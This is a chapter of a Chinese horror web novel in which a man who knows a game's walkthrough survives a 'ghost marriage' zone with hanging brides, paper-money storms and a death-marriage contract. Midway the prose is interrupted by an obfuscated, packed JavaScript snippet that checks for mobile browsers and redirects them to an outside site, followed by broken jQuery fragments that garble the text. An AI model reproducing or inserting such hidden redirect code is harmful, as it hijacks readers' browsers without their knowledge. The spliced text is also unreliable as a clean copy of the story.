“玩家需要获得‘生死之间’这个buff,不然就没办法触发剧情,没开剧情的时候虽然鬼新郎不会动手但是各种小怪都能把玩家耗死,或者……
“污染一直向外逸散,空间同化,最终走向失败。”
鹤亦远大方地说出攻略,他一直都不怎么喜欢第一部游戏的诡异设计,每个副本、怪物都阴得要死,太为难玩家了。
“生死之间”还是鹤亦远强加的机制,不然他都想不到玩家要怎么成功。
“玩家进入生死之间状态后才能看见BOSS,要进入这个状态需要触发迎亲剧情……”
“呼、呼……”
祠堂内突然发出异常声响,鹤亦远立刻闭嘴,两人顺势躲到屋墙后面。
怎么就被打断了,可惜,太可惜了。
李文鸽心里对鹤亦远产生了一万个问号,恨不得全部问干净,但是他也知道眼下的环境危险,并不是一个适合说话的地方。
不管鹤亦远是人是鬼,都将是人类的重大突破。
李文鸽自知身上的担子变得更加沉重,他一把将鹤亦远护在身后,【AI科技】对准发出动静的堂屋开始扫描。
扫描画面传递回来,随着李文鸽的手指划出一道指令,屋内的三维缩小模型在半空中浮现。
鹤亦远不合时宜地感慨:现代科技居然都进化到这种程度了。
祠堂内部乍看很正常,但是注意力往上移,很容易就能发现悬挂在房梁上的数十具“新娘”。阴风时不时掀起它们的红色盖头,得以窥见其中一团团的蠕动长发。
祠堂的大门完全敞开,之前望过去的时候屋内什么都没有,所以这些新娘是突然出现的。
两人神色如常,没觉得害怕,这地方都叫“阴婚地”了,怎么可能没有新娘。
虽然不知道新娘幻觉背后的真实情况是什么,但是按照幻觉和现实危险一一对应的规律来说,它们应该不是人。
至少不是活人。
鹤亦远把自己看到的幻觉告诉了李文鸽,抿了抿嘴:“我应该知道幻觉为什么是这个副本了。”
他数了数悬挂的新娘,叹气道:“季任那个渣男,都不知道祸害了多少女孩,希望比我看到的这十二个要少。”
鹤亦远无意间的几句真情流露,让李文鸽觉得他本性应该不坏。
鹤亦远看向李文鸽,礼貌地用眼神询问,他想知道现在到底是什么情况。
李文鸽有些无措,他对这个地方还没有鹤亦远熟悉,过于离奇的意外让他培训过的所有说话技巧全部作废,想编点啥都编不出来。
但是他不能露怯,开始笃定地瞎说:“算是一个好消息,虽然你看见的是幻觉,但是危险是一样的,你眼里的怪物和异常就是危险,你看我和小姜身上都没出现幻觉,我俩就没有危险。”
顺着说下去总没错。
他没有胡扯一个“真实情况”,又把事实存在的危机规则说了出来。
鹤亦远看得出李文鸽的照顾和顾虑,也没打算让他仔细告知,那样做也太麻烦人了。只要知道在幻觉发作的情况下能发现、躲避危险就行。
听到这个好消息后,鹤亦远放松了一些,堂屋内表演上吊的新娘们却没打算放过他。
突兀地起风了。
阴风冷嗖嗖地一吹,挂着的红灯笼开始窸窣摇晃,一大把黄色纸钱突然从新娘们的裙子里“唰唰”往下掉,被寒风带着飘出祠堂大门,冲进了院子。
死寂的环境突然活过来。
【AI科技】发出警报:“污染开始产生!当前污染值:23%”
诡异会产生污染,这句话绝不只是一种形容。
污染会让人类的精神出现异化,改变认知直至崩坏同化,轻则同化为诡异怪物,重则跪地归顺,摆阵祈求邪神降临——最操蛋的是,这玩意真的会降临。
每个人的抗污染能力不同,但是和精神情况息息相关。
李文鸽听到警报内容时强压下自己的惊讶。
通常情况下A级诡异前期的污染值都在10%以内,不对,本次污染空间为异常事件,污染值一出现就涨到23%也不是没有可能。
他的视网膜上浮现存一串只有自己才看得见的信息。
【个人异化度:5%】
这里的危险程度可见一斑。
李文鸽借机看了一眼鹤亦远,立刻显示出新的信息。
【异化度:0%】
数据被一条细线连接在鹤亦远身上,他没有受到任何污染。
0%,说明鹤亦远一丁点的害怕都没产生,理论上才存在的极端例子被他遇到了。
李文鸽受到的打击有点多。
鹤亦远没忍住:“哪儿来的纸钱,这么多也太浪费了。”
他躲开一把吹过来的纸钱,实在躲不过去的就挥手把它们扫到旁边的地上,贴在农村夯实的土地上重得风怎么吹都吹不起来。
重点是浪费吗?
李文鸽咽下想说的话,学着鹤亦远的样子躲避这些纸钱。
吹起的寒风似乎在有意作对,风声越来越大,刮出密密麻麻的纸钱雨,纸钱和冷风同时朝着两个人迎面袭来,哪怕都快喘不上气了,艰难的呼吸间也全是劣质纸张的味道,同时两人的视线受阻,都快看不见对方的身影了。
污染值飞速上升,眨眼间就涨了2%。
鹤亦远被吹出几分气性,他艰难地走出墙角,想要解决办法。
李文鸽透过纸钱间的一丝缝隙察觉到他的动作,立刻大喊:“你要去哪!快回来!”
糟糕,别是出问题了。
一切都发生得很快,这个空间内长久的寂静和短暂的危险相比,就像是一条蛰伏的毒蛇,潜伏许久后突然给出致命一击。
李文鸽的手上立刻出现一把匕首。
冷兵器和他展现出的高科技装备格格不入,匕首握柄处延伸出几条血管状的长长肉条扎入他的手腕内。随着李文鸽的用力一挥,肉条蠕动几下,周遭的纸钱雨尽数消融。
鹤亦远的身影已经消失不见。
李文鸽再想查看情况,视线就被重新刮过来的纸钱层层覆盖。
该死。
鹤亦远走向旁边的石板路,努力往上面一站。
石板路面上全是腐烂的红枣花生,刚踩上去就感受到了一种黏腻的恶心,爆开的腐臭味立刻冲出,恶臭萦绕在鹤亦远的身边,顷刻间风声熄灭、纸钱落败,一切重归寂静。
根据副本机制进行操作,阴婚地里的危险鹤亦远对付起来简直是手拿把掐。
没想到还真行。
他开始好奇刚才的真实情况,也不知道脱险后警察叔叔会不会满足他这个好奇。
终于能够呼吸了,鹤亦远下意识地大口呼吸想要弥补刚才的难受。
yue……好臭。
食物腐烂的臭味杀伤力巨大,鹤亦远难受到眼泪都被激了出来,他捂住鼻子难受到浑身发抖。
他发誓这是他闻到过的最臭的味道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029117|194498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就在这时,一股清香的柑橘味驱散了所有异味,将鹤亦远拯救于水火之中。
鹤亦远总算缓了过来,他朝李文鸽的方向看去:“没事吧?”
李文鸽不见了——他不可能抛下自己。
肯定出事了。
周遭一点声音都没有,安静得可怕。
鹤亦远二话不说朝安全屋走去,推门进入发现屋内空无一人。
姜墨也不见了。
鹤亦远开始害怕了。
他想到的不是牛鬼蛇神,而是疯狂的邪/教徒。
“傻愣着干嘛,快去修复异常。”
橘子顶开鹤亦远的衣兜,从中探出一个尖尖,催促道:“跟着我冲吧,少年,区区一个阴婚地的修复不值一提!”
鹤亦远恢复冷静,理智拒绝:“你的意思是让我一个人去对付一群疯子?”
他是病了不是傻了,自己才几斤几两。
就在这时,一张被烧掉大半的纸从暖脚炉边轻轻飘了过来。
纸上写到——
[鹤亦远,26岁,死于2026年10月21号,零点零分。
谨立此聘书为证,承蒙天赐,2026年10月21号,零点零分,你我永结良缘。
季任留]
今天是10月20号。
20号七点零六分。
这是什么究极死亡预告。
不对,这是什么狗屁不通的疯癫聘书。
鹤亦远一把将纸条揉成球:“橘子,我们要怎么修复异常。”
一只玫瑰花进行了抢答:“给那个姓季的癫公找婆娘。”
橘子进行更详细的补充:“我们假装给他找老婆,假借结婚的名义接近鬼新郎,到时候……”
这个办法和他之前说的通关攻略有什么区别。
搞半天用的不还是生死之间那个机制吗。
鹤亦远深吸一口气,觉得也合理。
这些幻觉本来就是他内心意识的投影,他之前还按照游戏手段轻松解决了纸钱雨,用这个办法端掉邪/教聚会实在是太合理了。
——郑重声明,他没有疯。
除了这个办法,他实在是没办法了。
没有其他支援说明情况比他想得还要艰难复杂,要么选择坐以待毙像姜墨一样消失,要么主动出击像李文鸽一样消失。
无论什么选择都很危险,不如放飞自我。
鹤亦远再次给自己打气,他没有疯。
只是选择了一个听起来不太正常的自救方法。
鹤亦远走出已经不再安全的安全屋,遵循着阴婚地的通关方法朝祠堂内走去。
祠堂内一切正常,吊在房梁上的新娘们一个比一个沉默,无害、顺从,没有任何的攻击性。
只是红色盖头下黑发覆盖的头颅低垂,长发无声地蠕动着,扭成一簇簇的触手。
鹤亦远确认它们的挂绳足够严实后,离开祠堂,熟悉地走到屋外偏僻隐蔽的一个角落,搬起一把人字梯。
恭喜鹤亦远获得关键性道具。
他把梯子搬到堂屋内,选了最瘦弱的一个新娘,打开人字梯,双手合十对着新娘拜了拜:“姐姐,首先我非常尊重你。”
“其次我想替你结个婚。”
鹤亦远爬上梯子,开始扒衣服。
想要拿到buff需要触发迎亲剧情,迎亲得有新娘,新娘需要婚服。
很不幸,鹤亦远只能自己当那个又扒衣服又cos新娘的倒霉蛋。